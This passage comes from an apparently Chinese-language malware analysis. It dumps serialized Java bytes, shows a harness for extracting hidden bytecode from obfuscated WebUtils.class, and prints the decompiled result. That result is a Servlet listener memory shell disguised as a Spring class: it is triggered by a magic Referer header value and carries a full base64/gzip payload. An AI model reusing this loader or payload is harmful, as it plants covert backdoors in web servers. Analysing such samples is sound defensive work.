0, 0, 7, -99, 0, 0, 7, -94, 0, 0, 7, -89, 0, 0, 7, -84, 0, 0, 7, -79, 0, 0, 7, -73, 0, 0, 7, -67, 0, 0, 7, -61, 0, 0, 7, -55, 0, 0, 7, -50, 0, 0, 7, -45, 0, 0, 7, -40, 0, 0, 7, -35, 0, 0, 7, -30, 0, 0, 7, -25, 0, 0, 7, -19, 0, 0, 7, -14, 0, 0, 7, -9, 0, 0, 7, -3, 0, 0, 8, 3, 0, 0, 8, 9, 0, 0, 8, 15, 0, 0, 8, 21, 0, 0, 8, 26, 0, 0, 8, 32, 0, 0, 8, 38, 0, 0, 8, 43, 0, 0, 8, 48, 0, 0, 8, 53, 0, 0, 8, 59, 0, 0, 8, 65, 0, 0, 8, 71, 0, 0, 8, 76, 0, 0, 8, 82, 0, 0, 8, 88, 0, 0, 8, 92, 0, 0, 8, 98, 0, 0, 8, 104, 0, 0, 8, 109, 0, 0, 8, 115, 0, 0, 8, 120, 0, 0, 8, 126, 0, 0, 8, -124, 0, 0, 8, -118, 0, 0, 8, -112, 0, 0, 8, -107, 0, 0, 8, -102, 0, 0, 8, -97, 0, 0, 8, -91, 0, 0, 8, -86, 0, 0, 8, -80, 0, 0, 8, -74, 0, 0, 8, -69, 0, 0, 8, -64, 0, 0, 8, -59, 0, 0, 8, -54, 0, 0, 8, -48, 0, 0, 8, -42, 0, 0, 8, -37, 0, 0, 8, -31, 0, 0, 8, -25, 0, 0, 8, -19, 0, 0, 8, -13, 0, 0, 8, -7, 0, 0, 8, -2, 0, 0, 9, 4, 0, 0, 9, 9, 0, 0, 9, 14, 0, 0, 9, 19, 0, 0, 9, 25, 0, 0, 9, 30, 0, 0, 9, 36, 0, 0, 9, 42, 0, 0, 9, 48, 0, 0, 9, 54, 0, 0, 9, 60, 0, 0, 9, 66, 0, 0, 9, 71, 0, 0, 9, 77, 0, 0, 9, 82, 0, 0, 9, 87, 0, 0, 9, 93, 0, 0, 9, 98, 0, 0, 9, 102, 0, 0, 9, 107, 0, 0, 9, 112, 0, 0, 9, 118, 0, 0, 9, 123, 16, 33, -89, 5, 117, 16, 24, -89, 5, 112, 17, 0, -77, -89, 5, 106, 17, 0, -5, -89, 5, 100, 17, 0, -104, -89, 5, 94, 16, 99, -89, 5, 89, 16, 89, -89, 5, 84, 16, 42, -89, 5, 79, 16, 77, -89, 5, 74, 6, -89, 5, 70, 16, 112, -89, 5, 65, 16, 72, -89, 5, 60, 17, 0, -60, -89, 5, 54, 16, 85, -89, 5, 49, 16, 35, -89, 5, 44, 16, 67, -89, 5, 39, 17, 0, -128, -89, 5, 33, 17, 0, -64, -89, 5, 27, 16, 65, -89, 5, 22, 17, 0, -70, -89, 5, 16, 16, 8, -89, 5, 11, 17, 0, -109, -89, 5, 5, 16, 60, -89, 5, 0, 16, 108, -89, 4, -5, 17, 0, -11, -89, 4, -11, 16, 7, -89, 4, -16, 17, 0, -57, -89, 4, -22, 17, 0, -90, -89, 4, -28, 17, 0, -20, -89, 4, -34, 17, 0, -63, -89, 4, -40, 16, 93, -89, 4, -45, 17, 0, -35, -89, 4, -51, 17, 0, -94, -89, 4, -57, 17, 0, -38, -89, 4, -63, 16, 30, -89, 4, -68, 16, 28, -89, 4, -73, 17, 0, -29, -89, 4, -79, 16, 18, -89, 4, -84, 16, 47, -89, 4, -89, 16, 121, -89, 4, -94, 17, 0, -67, -89, 4, -100, 16, 114, -89, 4, -105, 17, 0, -49, -89, 4, -111, 17, 0, -116, -89, 4, -117, 16, 97, -89, 4, -122, 17, 0, -17, -89, 4, -128, 16, 49, -89, 4, 123, 17, 0, -33, -89, 4, 117, 16, 86, -89, 4, 112, 16, 92, -89, 4, 107, 8, -89, 4, 103, 16, 12, -89, 4, 98, 16, 104, -89, 4, 93, 17, 0, -39, -89, 4, 87, 16, 101, -89, 4, 82, 16, 96, -89, 4, 77, 16, 48, -89, 4, 72, 17, 0, -10, -89, 4, 66, 17, 0, -84, -89, 4, 60, 17, 0, -24, -89, 4, 54, 17, 0, -23, -89, 4, 48, 16, 57, -89, 4, 43, 16, 81, -89, 4, 38, 16, 126, -89, 4, 33, 17, 0, -8, -89, 4, 27, 17, 0, -25, -89, 4, 21, 17, 0, -107, -89, 4, 15, 16, 94, -89, 4, 10, 17, 0, -58, -89, 4, 4, 16, 100, -89, 3, -1, 16, 127, -89, 3, -6, 17, 0, -95, -89, 3, -12, 17, 0, -69, -89, 3, -18, 16, 74, -89, 3, -23, 17, 0, -111, -89, 3, -29, 16, 107, -89, 3, -34, 17, 0, -97, -89, 3, -40, 17, 0, -105, -89, 3, -46, 16, 62, -89, 3, -51, 17, 0, -100, -89, 3, -57, 16, 17, -89, 3, -62, 16, 82, -89, 3, -67, 17, 0, -28, -89, 3, -73, 16, 64, -89, 3, -78, 17, 0, -46, -89, 3, -84, 16, 45, -89, 3, -89, 17, 0, -122, -89, 3, -95, 16, 95, -89, 3, -100, 17, 0, -124, -89, 3, -106, 16, 78, -89, 3, -111, 16, 27, -89, 3, -116, 17, 0, -83, -89, 3, -122, 17, 0, -71, -89, 3, -128, 17, 0, -101, -89, 3, 122, 16, 119, -89, 3, 117, 17, 0, -30, -89, 3, 111, 16, 103, -89, 3, 106, 16, 39, -89, 3, 101, 17, 0, -88, -89, 3, 95, 17, 0, -13, -89, 3, 89, 16, 105, -89, 3, 84, 17, 0, -3, -89, 3, 78, 16, 122, -89, 3, 73, 16, 51, -89, 3, 68, 16, 116, -89, 3, 63, 16, 55, -89, 3, 58, 17, 0, -36, -89, 3, 52, 17, 0, -106, -89, 3, 46, 17, 0, -85, -89, 3, 40, 16, 123, -89, 3, 35, 17, 0, -112, -89, 3, 29, 16, 52, -89, 3, 24, 16, 58, -89, 3, 19, 17, 0, -98, -89, 3, 13, 17, 0, -76, -89, 3, 7, 16, 120, -89, 3, 2, 16, 75, -89, 2, -3, 16, 117, -89, 2, -8, 16, 124, -89, 2, -13, 17, 0, -2, -89, 2, -19, 16, 83, -89, 2, -24, 16, 125, -89, 2, -29, 17, 0, -123, -89, 2, -35, 16, 106, -89, 2, -40, 17, 0, -15, -89, 2, -46, 17, 0, -108, -89, 2, -52, 17, 0, -72, -89, 2, -58, 16, 59, -89, 2, -63, 17, 0, -51, -89, 2, -69, 17, 0, -40, -89, 2, -75, 17, 0, -78, -89, 2, -81, 16, 73, -89, 2, -86, 17, 0, -19, -89, 2, -92, 4, -89, 2, -96, 16, 115, -89, 2, -101, 17, 0, -99, -89, 2, -107, 17, 0, -34, -89, 2, -113, 16, 43, -89, 2, -118, 17, 0, -18, -89, 2, -124, 16, 87, -89, 2, 127, 17, 0, -102, -89, 2, 121, 17, 0, -54, -89, 2, 115, 17, 0, -32, -89, 2, 109, 17, 0, -62, -89, 2, 103, 3, -89, 2, 99, 16, 79, -89, 2, 94, 16, 71, -89, 2, 89, 17, 0, -55, -89, 2, 83, 17, 0, -56, -89, 2, 77, 17, 0, -103, -89, 2, 71, 16, 22, -89, 2, 66, 16, 70, -89, 2, 61, 16, 109, -89, 2, 56, 17, 0, -89, -89, 2, 50, 17, 0, -120, -89, 2, 44, 16, 31, -89, 2, 39, 17, 0, -74, -89, 2, 33, 16, 11, -89, 2, 28, 16, 53, -89, 2, 23, 17, 0, -7, -89, 2, 17, 17, 0, -31, -89, 2, 11, 17, 0, -114, -89, 2, 5, 16, 54, -89, 2, 0, 17, 0, -43, -89, 1, -6, 17, 0, -125, -89, 1, -12, 17, 0, -16, -89, 1, -18, 17, 0, -14, -89, 1, -24, 16, 15, -89, 1, -29, 16, 46, -89, 1, -34, 16, 37, -89, 1, -39, 16, 9, -89, 1, -44, 17, 0, -37, -89, 1, -50, 17, 0, -82, -89, 1, -56, 17, 0, -48, -89, 1, -62, 17, 0, -79, -89, 1, -68, 16, 98, -89, 1, -73, 16, 111, -89, 1, -78, 16, 68, -89, 1, -83, 16, 90, -89, 1, -88, 16, 10, -89, 1, -93, 16, 16, -89, 1, -98, 17, 0, -65, -89, 1, -104, 16, 113, -89, 1, -109, 16, 118, -89, 1, -114, 17, 0, -92, -89, 1, -120, 17, 0, -87, -89, 1, -126, 17, 0, -86, -89, 1, 124, 17, 0, -91, -89, 1, 118, 17, 0, -66, -89, 1, 112, 16, 91, -89, 1, 107, 17, 0, -68, -89, 1, 101, 17, 0, -53, -89, 1, 95, 16, 44, -89, 1, 90, 16, 40, -89, 1, 85, 16, 61, -89, 1, 80, 17, 0, -6, -89, 1, 74, 17, 0, -93, -89, 1, 68, 17, 0, -75, -89, 1, 62, 16, 66, -89, 1, 57, 17, 0, -42, -89, 1, 51, 17, 0, -21, -89, 1, 45, 7, -89, 1, 41, 17, 0, -26, -89, 1, 35, 17, 0, -41, -89, 1, 29, 16, 38, -89, 1, 24, 17, 0, -127, -89, 1, 18, 16, 84, -89, 1, 13, 17, 0, -113, -89, 1, 7, 17, 0, -81, -89, 1, 1, 17, 0, -59, -89, 0, -5, 17, 0, -115, -89, 0, -11, 16, 34, -89, 0, -16, 16, 6, -89, 0, -21, 16, 76, -89, 0, -26, 17, 0, -61, -89, 0, -32, 16, 20, -89, 0, -37, 17, 0, -126, -89, 0, -43, 17, 0, -117, -89, 0, -49, 16, 41, -89, 0, -54, 16, 32, -89, 0, -59, 16, 25, -89, 0, -64, 16, 14, -89, 0, -69, 17, 0, -118, -89, 0, -75, 17, 0, -45, -89, 0, -81, 16, 36, -89, 0, -86, 17, 0, -44, -89, 0, -92, 17, 0, -22, -89, 0, -98, 17, 0, -12, -89, 0, -104, 17, 0, -119, -89, 0, -110, 17, 0, -1, -89, 0, -116, 16, 23, -89, 0, -121, 17, 0, -27, -89, 0, -127, 16, 63, -89, 0, 124, 16, 102, -89, 0, 119, 16, 13, -89, 0, 114, 17, 0, -110, -89, 0, 108, 16, 56, -89, 0, 103, 17, 0, -50, -89, 0, 97, 17, 0, -121, -89, 0, 91, 17, 0, -73, -89, 0, 85, 17, 0, -96, -89, 0, 79, 17, 0, -4, -89, 0, 73, 17, 0, -47, -89, 0, 67, 16, 80, -89, 0, 62, 17, 0, -9, -89, 0, 56, 16, 21, -89, 0, 51, 16, 69, -89, 0, 46, 17, 0, -80, -89, 0, 40, 16, 50, -89, 0, 35, 5, -89, 0, 31, 16, 88, -89, 0, 26, 16, 26, -89, 0, 21, 17, 0, -52, -89, 0, 15, 16, 29, -89, 0, 10, 16, 110, -89, 0, 5, 16, 19, 54, 5, 27, 28, -126, 89, 60, 17, 0, -1, 126, 21, 5, 100, 54, 6, 21, 6, -100, 0, 9, -60, -124, 0, 6, 1, 0, 27, 18, 7, 126, 16, 8, 124, 21, 5, 100, 54, 7, 21, 7, -100, 0, 9, -60, -124, 0, 7, 1, 0, 3, 54, 8, -89, 0, 78, 21, 8, 5, 112, 54, 9, 25, 4, 21, 8, 92, 52, 21, 9, -102, 0, 32, 21, 6, -126, -110, 85, 21, 6, 6, 124, 21, 6, 8, 120, -128, 25, 4, 21, 8, 52, -126, 17, 0, -1, 126, 54, 6, -89, 0, 29, 21, 7, -126, -110, 85, 21, 7, 6, 124, 21, 7, 8, 120, -128, 25, 4, 21, 8, 52, -126, 17, 0, -1, 126, 54, 7, -124, 8, 1, 21, 8, 25, 4, -66, -95, -1, -80, -78, 1, 98, 29, -69, 0, 1, 89, 25, 4, -73, 1, 96, -74, 1, 89, 83, -78, 1, 98, 29, 50, -80, 0, 0, 0, 0, 0, 0, 117, 113, 0, 126, 0, 47, 0, 0, 0, -22, -54, -2, -70, -66, 0, 0, 0, 49, 0, 19, 1, 0, 3, 70, 111, 111, 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 8, 70, 111, 111, 46, 106, 97, 118, 97, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 7, 0, 7, 1, 0, 16, 115, 101, 114, 105, 97, 108, 86, 101, 114, 115, 105, 111, 110, 85, 73, 68, 1, 0, 1, 74, 5, 113, -26, 105, -18, 60, 109, 71, 24, 1, 0, 13, 67, 111, 110, 115, 116, 97, 110, 116, 86, 97, 108, 117, 101, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 12, 0, 14, 0, 15, 10, 0, 4, 0, 16, 1, 0, 4, 67, 111, 100, 101, 0, 33, 0, 2, 0, 4, 0, 1, 0, 8, 0, 1, 0, 26, 0, 9, 0, 10, 0, 1, 0, 13, 0, 0, 0, 2, 0, 11, 0, 1, 0, 1, 0, 14, 0, 15, 0, 1, 0, 18, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 17, -79, 0, 0, 0, 0, 0, 0, 112, 116, 0, 1, 80, 112, 119, 1, 0, 120]
经过同样的方式处理,提取出字节码再反编译,得到WebUtils.class
,是严重混淆过的代码
通过翻阅,找到一处defineclass加载字节码的逻辑比较刻意,字节码存储在var13
尝试扣出var13,看看这个字节码内容,运行断下取出data即可
import com.fasterxmlr.WebUtils;
import java.lang.reflect.Method;
public class Dec {
public static void main(String[] args) throws Exception{
long var1 = 37559910041951L;
long var10001 = var1 ^ 26261167752216L;
int var3 = (int)((var1 ^ 26261167752216L) >>> 32);
int var4 = (int)(var10001 << 32 >>> 40);
int var5 = (int)(var10001 << 56 >>> 56);
a(var3, var4, (byte)var5, Dec.class);
}
private static Object a(int var1, int var2, byte var3, Object var4) throws Exception{
long var5 = (long) var1 << 32 | (long) var2 << 40 >>> 32 | (long) var3 << 56 >>> 56;
long var10001 = var5 ^ 61965062860332L;
long var7 = (var5 ^ 61965062860332L) >>> 16;
int var9 = (int) (var10001 << 48 >>> 48);
WebUtils webUtils = new WebUtils();
Method m = WebUtils.class.getDeclaredMethod("a", String.class, long.class, short.class);
m.setAccessible(true);
byte[] r =(byte[]) m.invoke(null, webUtils.a(), var7, (short)var9);
// data
byte[] data = webUtils.a(r);
return null;
}
}
解出字节码如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.springframework.web.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.zip.GZIPInputStream;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ServletRequestEventhListener extends ClassLoader implements ServletRequestListener {
static String pass = "Nbcagywwx";
public String headerName = "Referer";
public String headerValue = "Pcxkvhvd";
public String rand_str = "XpVLL4";
public String b64_str = "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";
public ServletRequestEventhListener() {
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest)servletRequestEvent.getServletRequest();
String customHeaderValue = request.getHeader(this.headerName);
try {
if (customHeaderValue.contains(this.headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
ServletContext var6 = request.getSession().getServletContext();
String var7 = this.rand_str;
if (var6.getAttribute(var7) != null) {
var6.getAttribute(var7).equals(new Object[]{request, response});
} else {
try {
byte[] var8 = this.base64Decode(this.b64_str);
